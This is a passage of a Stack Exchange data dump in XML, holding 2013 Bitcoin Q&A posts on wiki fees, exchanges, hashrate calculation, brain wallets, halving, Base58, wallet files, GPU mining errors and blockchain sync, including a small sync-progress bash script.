  <row Id="14083" PostTypeId="1" CreationDate="2013-10-26T13:22:52.613" Score="2" ViewCount="85" Body="&lt;p&gt;I'm interested in contributing technical information to the Wiki page located on &lt;a href=&quot;https://en.bitcoin.it&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it&lt;/a&gt;  however they require editors to donate   0.01 BTC at the following page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Special:BitcoinPayment&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Special:BitcoinPayment&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not interested in spending $2 just to share research that I've worked hard on... and I think it has been this value was less than $1 when the feature was first implemented.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Will the donation value of 0.01 BTC decrease in time?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-10-26T14:07:37.247" LastActivityDate="2013-10-26T15:08:31.490" Title="Will the fee for &quot;bitcoin.it&quot; decrease as the value of BTC increases?" Tags="|bitcoin-wiki|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14085" PostTypeId="2" ParentId="3149" CreationDate="2013-10-26T14:22:21.787" Score="4" Body="&lt;p&gt;I'm the original poster of this thread. It looks like the option are plentiful since then. Here is my updated list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cavirtex.com&quot; rel=&quot;nofollow&quot;&gt;http://cavirtex.com&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://harbor.ly/&quot; rel=&quot;nofollow&quot;&gt;https://harbor.ly/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.canadianbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;https://www.canadianbitcoins.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cadbitcoin.com&quot; rel=&quot;nofollow&quot;&gt;http://cadbitcoin.com&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.bitcoinscanada.ca&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoinscanada.ca&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.nanaimogold.com&quot; rel=&quot;nofollow&quot;&gt;http://www.nanaimogold.com&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://quickbt.com&quot; rel=&quot;nofollow&quot;&gt;https://quickbt.com&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://btcquick.com&quot; rel=&quot;nofollow&quot;&gt;https://btcquick.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Peer-to-peer: &lt;a href=&quot;https://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Last update: 6 January 2015&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-01-06T04:03:30.570" LastActivityDate="2015-01-06T04:03:30.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14086" PostTypeId="1" CreationDate="2013-10-26T15:06:42.580" Score="0" ViewCount="3110" Body="&lt;p&gt;Not sure if the title is poorly worded, but here's what I'm looking to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have a range of blocks and I want to calculate the hashrate, I can do something similar to what is found &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11139/how-is-the-network-hash-rate-calculated&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To take it a step further, I'd like to be able to calculate hashrate for a given number of blocks from the current block. Using the example provided above, this is rather trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm running into issues doing this when the difficulty changes somewhere within the range of blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take last night as an example. Difficulty changed to roughly ~390M. Prior to that it was roughly ~267M. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about calculating an average network hashrate for a given range where the difficulty has changed within that range?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the help!&lt;/p&gt;&#xA;" OwnerUserId="6921" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-08-27T00:45:34.993" Title="How can I calculate network hashrate for a given range of blocks where difficulty changes somewhere within the range?" Tags="|difficulty|hashpower|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14087" PostTypeId="2" ParentId="14083" CreationDate="2013-10-26T15:08:31.490" Score="2" Body="&lt;p&gt;That may full depend on owners of the site, however you can still send them email containing your research, and thay may accept it to that site without payment.&lt;/p&gt;&#xA;" OwnerUserId="7284" LastActivityDate="2013-10-26T15:08:31.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14089" PostTypeId="2" ParentId="8399" CreationDate="2013-10-26T19:07:24.670" Score="5" Body="&lt;p&gt;Lots of things really, most are fairly abusive if they're a large pool though, or at least undesirable in network terms. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Not including transactions in blocks. This is the obvious one, it's a lot easier to broadcast a single 25kB block than it is a bigger one. You do of course forfeit all the fees you would otherwise get, but some might see that as a tradeoff for an almost instantly reaching block. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Multiple exits for blocks. Something that many pools already do, having exists in the Tor side of the network, along with multiple high-bandwidth nodes apparently has an effect. Curating a list of high profile nodes like &lt;code&gt;nogleg.com&lt;/code&gt; and those based on &lt;code&gt;.edu&lt;/code&gt; domains would probably allow for the fastest block propagation. Remember that you need to have enough bandwidth to submit to every peer you are connected to simultaneously, if you fill your pipe then your block is seriously delayed and has a greater chance of being orphaned. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Building on orphan blocks. This is something I know at least one pool does, the concept is to build on your own orphans until they are at least 2 blocks buried. The chance of you getting a second block on top of the orphan is the same but the expectation of profit is double that of a normal block. The idea is essentially to orphan the block that orphaned you, and once the other chain gets higher than you by a sizeable amount this becomes a negative expectation and it's time to revert to the main chain yourself. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's no secret sauce really, just a combination of many factors. Orphans are fairly rare now anyway.&lt;/p&gt;&#xA;" OwnerUserId="7234" LastActivityDate="2013-10-26T19:07:24.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14090" PostTypeId="1" CreationDate="2013-10-26T19:46:19.517" Score="1" ViewCount="151" Body="&lt;p&gt;Suppose I had a gigantic sum of bitcoins and wanted to store them in my brain's memory instead of any physical form. How much data would I need to be able to remember? I understand I'd have to transfer it all to one address - would I need to remember both its private and public key, or can the public one be calculated based on the private key?&lt;/p&gt;&#xA;" OwnerUserId="2150" LastActivityDate="2013-10-26T22:59:02.917" Title="How much would you need to remember to store bitcoins in your head?" Tags="|security-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14091" PostTypeId="1" AcceptedAnswerId="14120" CreationDate="2013-10-26T22:55:02.360" Score="6" ViewCount="904" Body="&lt;p&gt;So let's assume at some point in the future bitcoin has replaced fiat currencies and we thus have a fixed money supply. Let's also assume we have increasing production and therefore deflation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that wealth could then be preserved simply by holding onto it without even taking some investment risk as one has to do today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wouldn't the effect of this be to make the wealthy extremely risk-averse? &#xA;Wouldn't this increase wealth inequality and make social mobility more difficult?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Footnote: Defending Some Premises&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As one can see below, there is an extensive discussion below with @david-schwartz on whether the premise is correct in the first place. To keep this a bit more readable I'll update this post with what I think are his main arguments and my view on these. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is (predictable) deflation even possible?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He argues that no such thing as predictable deflation can exist. I think that is incorrect. If you have constant monetary base and increasing productivity (e.g. technological innovation), you will have deflation. There is nothing contradictory about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Investment &amp;amp; Deflation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He also argues that if you don't invest you become poorer thus if the wealthy don't invest they won't remain so. But let's say you have 10% deflation and spend 8% of your money, then you are becoming richer every year (i.e. your purchasing power increases). This massively diminishes incentives to invest and it seems that would reduce social mobility (all else being equal). &lt;/p&gt;&#xA;" OwnerUserId="7036" LastEditorUserId="5406" LastEditDate="2017-12-23T19:00:47.423" LastActivityDate="2017-12-23T19:00:47.423" Title="Inequality in a Bitcoin World" Tags="|economic-theory|deflation|wealth-distribution|macroeconomics|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14092" PostTypeId="2" ParentId="14090" CreationDate="2013-10-26T22:59:02.917" Score="2" Body="&lt;p&gt;This is called a &lt;a href=&quot;http://bitcoinmagazine.com/960/brain-wallets-the-what-and-the-how/&quot; rel=&quot;nofollow&quot;&gt;brain wallet&lt;/a&gt;. You need to remember only the generator for the private key, which can be anything you choose. You just have to remember something (anything) that is complicated enough that other people could not guess it, even if given trillions of guesses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is actually surprisingly complicated. If you write the passphrase down, it's not really a brain wallet anymore. If you don't, and you forget any bit of it and cannot precisely remember it, your funds are lost. If you make it simple enough to ensure you can remember it, the risk that someone else will find it is high. Lastly, the tools you use to convert the passphrase to a Bitcoin address can be flawed or sabotaged.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-10-26T22:59:02.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14093" PostTypeId="1" CreationDate="2013-10-27T01:00:19.043" Score="1" ViewCount="237" Body="&lt;p&gt;Assume that a transaction is paid to a brain wallet address. (not P2SH, or M of N)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any statistical approximation (or tiers of approximation) of how secure a Brain Wallet is to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A key generated from pure random&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The non-random keys created by a broken &lt;a href=&quot;http://bitcoin.org/en/alert/2013-08-11-android&quot; rel=&quot;nofollow&quot;&gt;random on Android&lt;/a&gt; pre 2013&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;any other key generation technique&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My goal is to get an approximation based on complexity relative to the other methods.  A constructive thing that this would help with is what complexity is necessary for the Brain Wallet to have 2^64 bits of pure random?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some additional question that may come of this line of thinking include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In a Brain Wallet, what is the relationship between complexity, length and the random output?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What patterns are there to avoid? (vowel frequency, other letter statistical distribution)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is a Brain Wallet more secure if written in a foreign language that has more characters in it (more entropy)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Much of this may be in a Cryptanalysis book, but I'm looking for someone who may have studied passwords in the past and can offer suggestions on how to brute force a Brain Wallet.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2014-09-11T19:37:24.427" LastActivityDate="2014-10-12T00:28:52.937" Title="Is there any statistical analysis of the security of a &quot;Brain Wallet&quot;?" Tags="|brain-wallet|wallet-security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14094" PostTypeId="2" ParentId="9982" CreationDate="2013-10-27T01:52:07.430" Score="1" Body="&lt;p&gt;Casascius has resumed selling individual and rolls of coins on the official website, &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.casascius.com/&lt;/a&gt;. Individual coins will be sold for a limited time only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is still possible to save money on individual coins by buying through resellers.&lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-10-27T01:52:07.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14095" PostTypeId="2" ParentId="14091" CreationDate="2013-10-27T01:53:07.017" Score="2" Body="&lt;p&gt;No, this is basically impossible. What you're saying is that we would have stable, predictable deflation that could be relied on. This is not possible because it creates a direct contradiction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think about it -- which is worth more: One bitcoin today or one bitcoin next year?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, one bitcoin today must be worth more because one of the things you can do with one bitcoin today is hold it until next year and have a bitcoin next year. But you also retain the option to spend it before then if that should be preferable. So a bitcoin today must be worth at least as much as a bitcoin next year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you say we have stable, predictable, risk-free deflation, that's equivalent to saying that a bitcoin next year is worth more than a bitcoin today and that a rational person should prefer to have a bitcoin next year to a bitcoin today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you assume that the value of a bitcoin is predictable and stable, then the value of a bitcoin today always includes the present value of a bitcoin next year. So it can't be less than it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Wouldn't the effect of this be to make the wealthy extremely risk-averse? Wouldn't this increase wealth inequality and make social mobility more difficult?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your assumption is that wealthy people hold onto money rather than investing or spending it while productivity is increasing. This would just mean that a greater share of that productivity is controlled by people other than the wealthy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes little difference whether money is spent or invested. One man's spending causes another man's investment to be profitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the wealthy never spend their money, they control a smaller fraction of the increasing productivity. If they do, they cause other people to make money.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-10-27T16:16:39.233" LastActivityDate="2013-10-27T16:16:39.233" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="14099" PostTypeId="1" AcceptedAnswerId="14101" CreationDate="2013-10-27T04:44:55.133" Score="4" ViewCount="1309" Body="&lt;p&gt;Is the invention of a faster computer (let's say a quantum computer) or the lack of advancements in computing power (let's say it takes a decade to make any progress greater than incremental increases on currently technology) capable of affecting the amount of time it takes to halve the block reward?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, &lt;strong&gt;does the block reward get halved every 4 years, regardless of how much the hardware available is or isn't progressing?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3381" LastEditorUserId="2306" LastEditDate="2017-04-25T19:53:04.090" LastActivityDate="2017-04-25T19:53:04.090" Title="Does the block reward get halved every 4 years regardless of hardware advancements?" Tags="|blockchain|block|mining-hardware|reward-schedule|quantum-computing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14100" PostTypeId="1" AcceptedAnswerId="14103" CreationDate="2013-10-27T05:06:55.303" Score="2" ViewCount="547" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Dan_Kaminsky&quot; rel=&quot;nofollow&quot;&gt;Dan Kaminsky&lt;/a&gt; embed &lt;a href=&quot;http://pastebin.com/raw.php?i=BUB3dygQ&quot; rel=&quot;nofollow&quot;&gt;a custom message&lt;/a&gt; in a block, which reads &quot;BitCoin's new dependency upon [...] BERNANKE&quot;. Why did he say that Bitcoin is dependent on the Federal Reserve?&lt;/p&gt;&#xA;" OwnerUserId="3381" LastActivityDate="2013-10-27T07:40:32.453" Title="Why did Dan Kaminsky say that Bitcoin is dependent on the Federal Reserve?" Tags="|economic-theory|block|bitcoin-economy|macroeconomics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14101" PostTypeId="2" ParentId="14099" CreationDate="2013-10-27T05:10:04.143" Score="5" Body="&lt;p&gt;The block halving takes place every 210,000 blocks. The difficulty retargeting mechanism makes it so that 210,000 blocks take approximately 4 years, but this is not exact. If the hashrate is rapidly growing, it will take a little less than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the total network hashrate doubles every year, it will take about 1 month less. If it doubles every week (increases by a factor of 4.5 quadrillion every year), it will take only 2 years.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-10-27T05:28:53.880" LastActivityDate="2013-10-27T05:28:53.880" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14103" PostTypeId="2" ParentId="14100" CreationDate="2013-10-27T07:40:32.453" Score="4" Body="&lt;p&gt;Once upon a time someone used Bitcoin's ability to embed arbitrary text inside a transaction to put an &lt;a href=&quot;http://pastebin.com/ZqqFEqkc&quot; rel=&quot;nofollow&quot;&gt;ASCII Art Ben Bernanke&lt;/a&gt; into the blockchain. Referring to the fact that current blocks must still reference the Bernanke block as a &quot;dependency&quot; rounds out the joke.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-10-27T07:40:32.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14104" PostTypeId="1" CreationDate="2013-10-27T10:50:51.053" Score="3" ViewCount="3173" Body="&lt;p&gt;My question is how long does it take on average to download whole blockchain and set-up new wallet with standard Bitcoin-QT client.&lt;/p&gt;&#xA;" OwnerUserId="7305" LastEditorUserId="5406" LastEditDate="2015-08-20T13:08:05.920" LastActivityDate="2015-08-20T13:08:05.920" Title="How long does it take to download blockchain" Tags="|blockchain|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14105" PostTypeId="1" CreationDate="2013-10-27T11:36:58.583" Score="7" ViewCount="1283" Body="&lt;p&gt;Base58 is very useful whenever data needs to be written down, but I've never seen it mentioned in any context other than Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was it invented by Satoshi specifically for use in Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-10-27T13:23:44.310" Title="Was Base58 invented for Bitcoin?" Tags="|encoding|base58|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14106" PostTypeId="2" ParentId="14105" CreationDate="2013-10-27T13:23:44.310" Score="4" Body="&lt;p&gt;I believe flickr uses a base 58 scheme for encoding picture IDs in URLs, though Bitcoin's Base58 isn't compatible with flickr's.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-10-27T13:23:44.310" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14107" PostTypeId="1" CreationDate="2013-10-27T14:55:25.220" Score="2" ViewCount="1013" Body="&lt;p&gt;If I create *.wallet file in MultiBit, encrypt it with password and transfer some coins to it - does it tie me to this particular client, or can I open *.wallet file in any client&lt;/p&gt;&#xA;" OwnerUserId="7298" LastActivityDate="2013-11-18T13:05:48.857" Title="Are wallets compatible with different clients?" Tags="|wallet|multibit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14108" PostTypeId="2" ParentId="13792" CreationDate="2013-10-27T15:14:36.133" Score="1" Body="&lt;p&gt;In china use &lt;a href=&quot;https://www.btcchina.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.btcchina.com/&lt;/a&gt; I believe they are  charging 0.3% ATM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In US use Coinbase, I believe they charge 1%.  As others suggest confirm your are getting a reasonable exchange rate on each conversion.&lt;/p&gt;&#xA;" OwnerUserId="7312" LastActivityDate="2013-10-27T15:14:36.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14109" PostTypeId="2" ParentId="12130" CreationDate="2013-10-27T16:41:09.127" Score="-1" Body="&lt;p&gt;Please follow the documentation here:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7%2B&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7%2B&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7314" LastActivityDate="2013-10-27T16:41:09.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14110" PostTypeId="2" ParentId="14107" CreationDate="2013-10-27T17:06:51.870" Score="1" Body="&lt;p&gt;Almost every client has the option to export your Private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MultiBit also has this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can think of a wallet file as a container for your Private Keys and a list of your transactions. This wallet may be in a different format for different clients, but you can always export your Private key, and that is what matters most.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-qt has a wallet with a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/746/how-should-you-backup-your-wallet&quot;&gt;key pool&lt;/a&gt; and addresses that does not show. The best way to move your coins is to send them to a new address in your new wallet. But if you have a favorite address you want to keep, you can export from the Console with &quot;dumpprivkey&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13687/which-bitcoin-wallets-let-you-export-to-a-universal-wallet-format/13823#13823&quot;&gt;Here is my answer, how to export from every client&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are also services that keep the Private keys.  These services do not allow export.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Coinbase&lt;/li&gt;&#xA;&lt;li&gt;Coinkite (You get your private keys - but encrypted) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6756" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-11-18T13:05:48.857" CommentCount="0" CommunityOwnedDate="2013-10-27T17:06:51.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="14113" PostTypeId="1" CreationDate="2013-10-27T19:46:49.250" Score="0" ViewCount="1829" Body="&lt;p&gt;Ubuntu 13.10 &amp;amp; &lt;a href=&quot;http://support.amd.com/en-us/download/desktop?os=Linux%20x86_64&quot; rel=&quot;nofollow&quot;&gt;amd-catalyst-13.4-linux-x86.x86_64.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;xorg.conf created by &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# aticonfig --initial -f --adapter=all&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thereafter, i modify it with next /etc/X11/xorg.conf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Section &quot;Module&quot;&#xA;        Disable        &quot;dri&quot;&#xA;        Disable        &quot;dri2&quot;&#xA;EndSection&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Start phoenix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./phoenix.py bitcoin_deepbit_gpu.cfg&#xA;[10/28/2013 02:30:08] Welcome to Phoenix v2.0.0&#xA;[0 Khash/s] [0 Accepted] [0 Rejected] [DISCONNECTED]X server found. dri2 connection failed!&#xA;Trying to open directly...Device open failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Start cgminer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./cgminer --scrypt  -T --url stratum+tcp://stratum.coinex.pw:9000 --user user --pass pass --no-submit-stale --queue 4 --scan-time 1&#xA; [2013-10-28 02:41:21] Started cgminer 3.6.6                    &#xA;X server found. dri2 connection failed! &#xA;Trying to open directly...Device open failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have partially solve this trouble with &lt;code&gt;--gpu-platform 0&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./cgminer --scrypt --gpu-platform 0 -T --url stratum+tcp://stratum.coinex.pw:9000 --user user --pass pass --no-submit-stale --queue 4 --scan-time 1&#xA; [2013-10-28 02:43:12] Started cgminer 3.6.6                    &#xA; [2013-10-28 02:43:12] Probing for an alive pool                    &#xA; [2013-10-28 02:43:17] Pool 0 difficulty changed to 64                    &#xA; [2013-10-28 02:43:17] Network diff set to 0                    &#xA; [2013-10-28 02:43:17] Stratum from pool 0 detected new block                    &#xA; [2013-10-28 02:43:19] Found block for pool 0!                    &#xA; [2013-10-28 02:43:21] Found block for pool 0!                    &#xA;(5s):7.156K (avg):18.36Kh/s | A:0  R:0  HW:0  WU:35.4/m&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what is it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Trying to open directly...Device open failed&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does it trying to open device disabled by module directive in the xorg.conf?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how to specify platform for phoenix miner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is only one option in phoenix config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;name = GPU 0 #The name to display the device as (default is device ID if not specified)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't help.&lt;/p&gt;&#xA;" OwnerUserId="7317" LastEditorUserId="5406" LastEditDate="2016-04-24T12:43:28.107" LastActivityDate="2016-04-24T12:43:28.107" Title="Trying to open directly...Device open failed" Tags="|miner-configuration|cgminer|ubuntu|phoenix|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14114" PostTypeId="2" ParentId="14104" CreationDate="2013-10-27T21:39:04.587" Score="3" Body="&lt;p&gt;It depends on your bandwidth and (to a lesser extent) your power of your CPU, because each block requires verification. You can see the latest size at &lt;a href=&quot;https://blockchain.info/charts/blocks-size&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Currently it is 10.8GB or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option to speed up the download is to download a bootstrap.dat. The Bitcoin client will look for a &quot;bootstrap.dat&quot; file to pre-seed blocks. You can download on version of bootstrap.dat at &lt;a href=&quot;http://eu2.bitcoincharts.com/blockchain/&quot; rel=&quot;nofollow&quot;&gt;bitcoincharts.com&lt;/a&gt;. In most cases this will be faster, than the under-resourced bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you run linux try this batch script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;[ -z &quot;$1&quot; ] &amp;amp;&amp;amp; echo &quot;Usage: input=coinname&quot; &amp;amp;&amp;amp; exit 1&#xA;coin=&quot;$1&quot;&#xA;&#xA;while sleep 1; do&#xA;blk=&quot;$(eval &quot;$coin getblockcount&quot;)&quot;&#xA;h=&quot;$(eval &quot;$coin getblockhash $blk&quot;)&quot;    &#xA;coin_t=&quot;$(eval &quot;$coin getblock $h&quot; | grep '&quot;time&quot;' | awk '{print $3}' | sed -e 's/,//g')&quot;&#xA;&#xA;d=&quot;$[$(date +%s) - $coin_t]&quot;; dm=&quot;$[$d / 60]&quot;; dh=&quot;$[$dm / 60 ]&quot;; dd=&quot;$[$dh / 24 ]&quot;&#xA;echo &quot;Difference from main chain $d s. or $dm m.  or $dh h.  or $dd d.&quot;&#xA;&#xA;if [ -z &quot;$first_t&quot; ];then&#xA;        first_t=&quot;$d&quot;&#xA;        start_watch_time=&quot;$(date +%s)&quot;&#xA;else&#xA;        difference=$[$first_t - $d]&#xA;        speed=&quot;$(echo &quot;$difference / $[$(date +%s) - $start_watch_time ]&quot; | bc -l)&quot; &#xA;        remain_seconds=&quot;$(echo &quot;$d / $speed&quot; | bc -l)&quot; &#xA;        remain_minutes=&quot;$(echo &quot;$remain_seconds / 60&quot; | bc -l)&quot;&#xA;        remain_hours=&quot;$(echo &quot;$remain_minutes / 60&quot; | bc -l)&quot;&#xA;        remain_days=&quot;$(echo &quot;$remain_hours / 24&quot; | bc -l)&quot;&#xA;        # eval &quot;$coin getinfo&quot;&#xA;        echo -n &quot;Approximate Time Remaining: $remain_seconds seconds to complete  sync.&quot;&#xA;        echo &quot;[m: $remain_minutes; h: $remain_hours; d: $remain_days ]&quot;&#xA;fi    &#xA;[ &quot;$LAST_BLK&quot; == &quot;$blk&quot; ] &amp;amp;&amp;amp; echo &quot;Alarm! Stuck on block # $blk!&quot;&#xA;LAST_BLK=&quot;$blk&quot;&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save it to &quot;coin_get_diff.sh&quot; and 